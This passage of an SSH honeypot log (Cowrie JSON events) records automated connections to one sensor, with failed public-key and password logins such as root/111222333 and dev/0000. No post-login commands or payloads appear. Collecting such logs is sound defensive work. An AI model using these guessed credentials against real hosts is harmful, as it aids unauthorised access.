14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.629208Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWg2zcll4u6Ya6XP1PbExdvChZMIrvDKUEHc/2eo7NgXm6ZdzowUimghPcpbqqRHjiuw5gwjAslRUgWcyi4zv9gVpU+O3LdzM1sl+JGNbvAyq63ZcvMUuA0zXntjh7+A5dFP+gonm/Xkquxg6y/3oa/MnZWkPJv7VLVpgLBsh/Rb7fWeS3YueHfetRkm2wrvjkmS61I2RyRmzshaWgAgEk5ESThy8UtYzVSbm8AIDTcdvgMoucyFbLYBT5Ca+6ihviFSki+ZJ6IRGxS25q2vHCjv+FmrMhiWNJbvKWhzyroMq3sjIiXNuFzOpOpRy7fS8w7HXlnBL5vsyupDxrz4NJqIQ/74tXbbhpaFYmopCzohq6bY3qwhHZxO4K8vJnfEx+zVVr//4mr+I3sHhOsf+okWMqiwcuRXqICCYCnb4exfaHgzfvfjOkj68ZZph8yruwPe0UzQU+tFxQbgcAb633i1nbVTg6831b1j3UfEujIwILWjyhhUaMDzidHYXdFOdds3aZrH7Faz8rQ/6qu///iYrNl4mHpAodbjB0LCT7ns0I0z/vPQcZdmL9kEea6Hg+Blcuni6e6sqyGgPxXPYMIUcnFdqbdGzcIRw3QmHzS2F5cYdJSgdIfS+q2ga8J9QsqMRUO/CQUsgLmhPJ0kOkVP0/63Tkd1ZoFWbpq+bjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.924998Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:2c:b7:35:d6:a6:6e:9e:19:8e:9f:78:3e:0b:3b:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJWg2zcll4u6Ya6XP1PbExdvChZMIrvDKUEHc/2eo7NgXm6ZdzowUimghPcpbqqRHjiuw5gwjAslRUgWcyi4zv9gVpU+O3LdzM1sl+JGNbvAyq63ZcvMUuA0zXntjh7+A5dFP+gonm/Xkquxg6y/3oa/MnZWkPJv7VLVpgLBsh/Rb7fWeS3YueHfetRkm2wrvjkmS61I2RyRmzshaWgAgEk5ESThy8UtYzVSbm8AIDTcdvgMoucyFbLYBT5Ca+6ihviFSki+ZJ6IRGxS25q2vHCjv+FmrMhiWNJbvKWhzyroMq3sjIiXNuFzOpOpRy7fS8w7HXlnBL5vsyupDxrz4NJqIQ/74tXbbhpaFYmopCzohq6bY3qwhHZxO4K8vJnfEx+zVVr//4mr+I3sHhOsf+okWMqiwcuRXqICCYCnb4exfaHgzfvfjOkj68ZZph8yruwPe0UzQU+tFxQbgcAb633i1nbVTg6831b1j3UfEujIwILWjyhhUaMDzidHYXdFOdds3aZrH7Faz8rQ/6qu///iYrNl4mHpAodbjB0LCT7ns0I0z/vPQcZdmL9kEea6Hg+Blcuni6e6sqyGgPxXPYMIUcnFdqbdGzcIRw3QmHzS2F5cYdJSgdIfS+q2ga8J9QsqMRUO/CQUsgLmhPJ0kOkVP0/63Tkd1ZoFWbpq+bjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.928777Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYf4wxt1gRZgAHxKV/PWzXHQ697TZbZyhXrc90N82r78+h+70+kZRLTJEjvRYQsT0RpvXisCWn+yiRMQW1wOuOzBB/RXAlobH186TZTvD1LY0yhC8K2WTz4ThK8vBVgsnVCD2FFCWOgCPIPyrUmWuDvLD3BvMrTi125Fhy9vzJI85V503GBLQJforNsPwoNZD6a7oBwPWp3Fi1jQZOTKqZgQRlyV1yByNxUGRTFhJuiPwEhoa5YpxED+PSuXeKQJShrzp+NbdFI5MYoAXUGV12yZtHCgur9dWlFp0QaDS4WoMEpJvWpRe1OJxdkjhFZzPI04ArpfCINwENJ6jy/uYX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.993228Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYf4wxt1gRZgAHxKV/PWzXHQ697TZbZyhXrc90N82r78+h+70+kZRLTJEjvRYQsT0RpvXisCWn+yiRMQW1wOuOzBB/RXAlobH186TZTvD1LY0yhC8K2WTz4ThK8vBVgsnVCD2FFCWOgCPIPyrUmWuDvLD3BvMrTi125Fhy9vzJI85V503GBLQJforNsPwoNZD6a7oBwPWp3Fi1jQZOTKqZgQRlyV1yByNxUGRTFhJuiPwEhoa5YpxED+PSuXeKQJShrzp+NbdFI5MYoAXUGV12yZtHCgur9dWlFp0QaDS4WoMEpJvWpRe1OJxdkjhFZzPI04ArpfCINwENJ6jy/uYX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:20.997059Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:fa:c1:fe:83:5c:29:4c:71:92:7c:c8:ed:b2:3b:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR1dH0vehpQS2fwPL0NX4ulnGxpIm+zhfpDhjf7bpqWlNwdHJc+bQpsqWV8nPF414S0FeSZtXR4LlXlTkT17eI/qhpLNrZ9AUkdlrCoc3CGkzUDATg8PNSVFwnMiwfLz6IxDxb9WzTB1fgaRh7PTj3XnUWPlV1tiMAuJsArfrmaKPvd86tz/LgjWQwuWZyisYZ+pCtB694BBzHD4DsRlfc9an3zwK+JOTSA7qhIGb/+wyP1W+B8fHF0MXqwTEW2hLK8tgD1UhuGDfPQh14lFyXyiF6xrC5HamPo9fXu9LGjDMwQeeT1xZSWa48W5qLgVHdTQLNJ9uAR7GASilgjeOKP5ORH3xDqOHMaMATbSo6ZATLYlz+weIZQu732kGapJ9OLgvDbFVkY0PBdn/jyoY5usA6C8ZHux8+orAAT3/xj65EDB6JGSvPrPWFJfBXyZgT/LwpowRdvQwfm+J8mptZN0w742YtR/Spg4Iri5l1UsyhlFJ/iNiTDVBEQVM+I8E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:fa:c1:fe:83:5c:29:4c:71:92:7c:c8:ed:b2:3b:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.062401Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:fa:c1:fe:83:5c:29:4c:71:92:7c:c8:ed:b2:3b:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR1dH0vehpQS2fwPL0NX4ulnGxpIm+zhfpDhjf7bpqWlNwdHJc+bQpsqWV8nPF414S0FeSZtXR4LlXlTkT17eI/qhpLNrZ9AUkdlrCoc3CGkzUDATg8PNSVFwnMiwfLz6IxDxb9WzTB1fgaRh7PTj3XnUWPlV1tiMAuJsArfrmaKPvd86tz/LgjWQwuWZyisYZ+pCtB694BBzHD4DsRlfc9an3zwK+JOTSA7qhIGb/+wyP1W+B8fHF0MXqwTEW2hLK8tgD1UhuGDfPQh14lFyXyiF6xrC5HamPo9fXu9LGjDMwQeeT1xZSWa48W5qLgVHdTQLNJ9uAR7GASilgjeOKP5ORH3xDqOHMaMATbSo6ZATLYlz+weIZQu732kGapJ9OLgvDbFVkY0PBdn/jyoY5usA6C8ZHux8+orAAT3/xj65EDB6JGSvPrPWFJfBXyZgT/LwpowRdvQwfm+J8mptZN0w742YtR/Spg4Iri5l1UsyhlFJ/iNiTDVBEQVM+I8E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.067792Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:a8:1c:a7:f3:e1:80:ed:21:96:45:9f:42:9d:dd:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1G2ymhJIH1/2Pjs3pCjnY3vrOkGY6s5EM/VNqYijRNJ2LLCdn4QPkbB068GjBsUVDG5W09N6+nHbl3sHDYK92lfDEIais/wIEH3LX3MkrEmnXema+3kUGDGi92VDn+lC8IXyvoT9Pzu4xGWtr8VRXayHKXLTTMEnPMlFK2ve97EELVZgV36bYLid8Vu9eo+xXNJi3wJto64WcWl5/3M4hGyHt8BybHrFCgnGw/duCajnax4YM9EukXSSKP0A+GxykLwYujm90joFwsorGjmi05U+VIbqfBGzu0CTw0zr0x3FopPxCDwekDoyRlTzBU7rAXT4EpLcx9tYIzmklrEvj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:a8:1c:a7:f3:e1:80:ed:21:96:45:9f:42:9d:dd:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.134733Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:a8:1c:a7:f3:e1:80:ed:21:96:45:9f:42:9d:dd:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1G2ymhJIH1/2Pjs3pCjnY3vrOkGY6s5EM/VNqYijRNJ2LLCdn4QPkbB068GjBsUVDG5W09N6+nHbl3sHDYK92lfDEIais/wIEH3LX3MkrEmnXema+3kUGDGi92VDn+lC8IXyvoT9Pzu4xGWtr8VRXayHKXLTTMEnPMlFK2ve97EELVZgV36bYLid8Vu9eo+xXNJi3wJto64WcWl5/3M4hGyHt8BybHrFCgnGw/duCajnax4YM9EukXSSKP0A+GxykLwYujm90joFwsorGjmi05U+VIbqfBGzu0CTw0zr0x3FopPxCDwekDoyRlTzBU7rAXT4EpLcx9tYIzmklrEvj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.139313Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2Jpg8HQ4nnJyLsjAukbnppkB8B1fhlAUCOqZGPghidGY0ZYOBSpk48K3hiNpX+IBlqunpCzcCh8wTidVUBuHN2By0C8+Rz+9Pul/UMpH4V2STtD+Suvc9ICKKYxXhAwZ/R2260CZePNYZti053gPkQLnIv0EPvzbVgZgZQ3hdx5W1my9FbiB9e9pRq/8yCwTDMffUMF/2OR1YIK7Cqy6GRaRyGDCTC//Ps1DyY5DPzEPMHEHqONINiqGiQL5nuWGxjGNA0FOvvY7krL4b8SO20AQYvmbQQ7MYwtnUirL+OI2wvedIL2wOIiq9rnwEmnM5o4BxQ9zIyfUDxLrhjHRJAJD7Jldi61Qo4CNmfEpJsSH6l1BKBe9oQeNRelwcLLi/dDBAqukPO76Uy5v8V9EU6N6qhOrN8K5U2A4CJGrwkQ47Cd6GXVf/dWtd5EhzSSrJQW732P1C4xvBMuLThN7b8/c+j9jIYU5opZ+EOqzNcs0d4D8EmQOtVHQhpcd5JuYWNS/9EYwgt7xD/46VAq1C1Ni4WPCk6K1Tzwo34wnER5D+YAdm4+KObEf6Mqx6BlB5zNyVjALa1HmPKfnjzooj/ixJ9qJJ+iLcHwCBsbFRoEeb4HlWG9BwLJWbuoq1OVjcfslkEUKEn7+/tCN0yCZJtBKns6U8QAqag2gYHB6twQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.205898Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:69:8a:40:81:87:ce:be:65:67:09:40:00:47:c1:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2Jpg8HQ4nnJyLsjAukbnppkB8B1fhlAUCOqZGPghidGY0ZYOBSpk48K3hiNpX+IBlqunpCzcCh8wTidVUBuHN2By0C8+Rz+9Pul/UMpH4V2STtD+Suvc9ICKKYxXhAwZ/R2260CZePNYZti053gPkQLnIv0EPvzbVgZgZQ3hdx5W1my9FbiB9e9pRq/8yCwTDMffUMF/2OR1YIK7Cqy6GRaRyGDCTC//Ps1DyY5DPzEPMHEHqONINiqGiQL5nuWGxjGNA0FOvvY7krL4b8SO20AQYvmbQQ7MYwtnUirL+OI2wvedIL2wOIiq9rnwEmnM5o4BxQ9zIyfUDxLrhjHRJAJD7Jldi61Qo4CNmfEpJsSH6l1BKBe9oQeNRelwcLLi/dDBAqukPO76Uy5v8V9EU6N6qhOrN8K5U2A4CJGrwkQ47Cd6GXVf/dWtd5EhzSSrJQW732P1C4xvBMuLThN7b8/c+j9jIYU5opZ+EOqzNcs0d4D8EmQOtVHQhpcd5JuYWNS/9EYwgt7xD/46VAq1C1Ni4WPCk6K1Tzwo34wnER5D+YAdm4+KObEf6Mqx6BlB5zNyVjALa1HmPKfnjzooj/ixJ9qJJ+iLcHwCBsbFRoEeb4HlWG9BwLJWbuoq1OVjcfslkEUKEn7+/tCN0yCZJtBKns6U8QAqag2gYHB6twQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.210531Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:21.276580Z","src_ip":"104.194.8.142","session":"5e9a90dc9949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":41994,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa65d1ea2fa8","protocol":"ssh","message":"New connection: 103.82.20.28:41994 (159.203.135.109:22) [session: fa65d1ea2fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:26.031371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:26.037325Z","src_ip":"103.82.20.28","session":"fa65d1ea2fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:26.298279Z","src_ip":"103.82.20.28","session":"fa65d1ea2fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21031991","message":"login attempt [root/21031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:27.082284Z","src_ip":"103.82.20.28","session":"fa65d1ea2fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:32:28.345729Z","src_ip":"103.82.20.28","session":"fa65d1ea2fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":53462,"dst_ip":"159.203.135.109","dst_port":22,"session":"8290f913b376","protocol":"ssh","message":"New connection: 103.13.206.227:53462 (159.203.135.109:22) [session: 8290f913b376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:05.476593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:05.481586Z","src_ip":"103.13.206.227","session":"8290f913b376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:05.717030Z","src_ip":"103.13.206.227","session":"8290f913b376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:06.673578Z","src_ip":"103.13.206.227","session":"8290f913b376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:07.907788Z","src_ip":"103.13.206.227","session":"8290f913b376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":35480,"dst_ip":"159.203.135.109","dst_port":22,"session":"efc1d7d99d4b","protocol":"ssh","message":"New connection: 103.15.222.183:35480 (159.203.135.109:22) [session: efc1d7d99d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:11.322151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:11.327097Z","src_ip":"103.15.222.183","session":"efc1d7d99d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:11.581671Z","src_ip":"103.15.222.183","session":"efc1d7d99d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:12.345280Z","src_ip":"103.15.222.183","session":"efc1d7d99d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:13.603717Z","src_ip":"103.15.222.183","session":"efc1d7d99d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":44718,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac72f394785","protocol":"ssh","message":"New connection: 171.25.158.82:44718 (159.203.135.109:22) [session: 5ac72f394785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:14.437261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:14.511372Z","src_ip":"171.25.158.82","session":"5ac72f394785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:14.620390Z","src_ip":"171.25.158.82","session":"5ac72f394785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"0000","message":"login attempt [dev/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:15.122148Z","src_ip":"171.25.158.82","session":"5ac72f394785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:33:16.240386Z","src_ip":"171.25.158.82","session":"5ac72f394785","protocol":"ssh"}
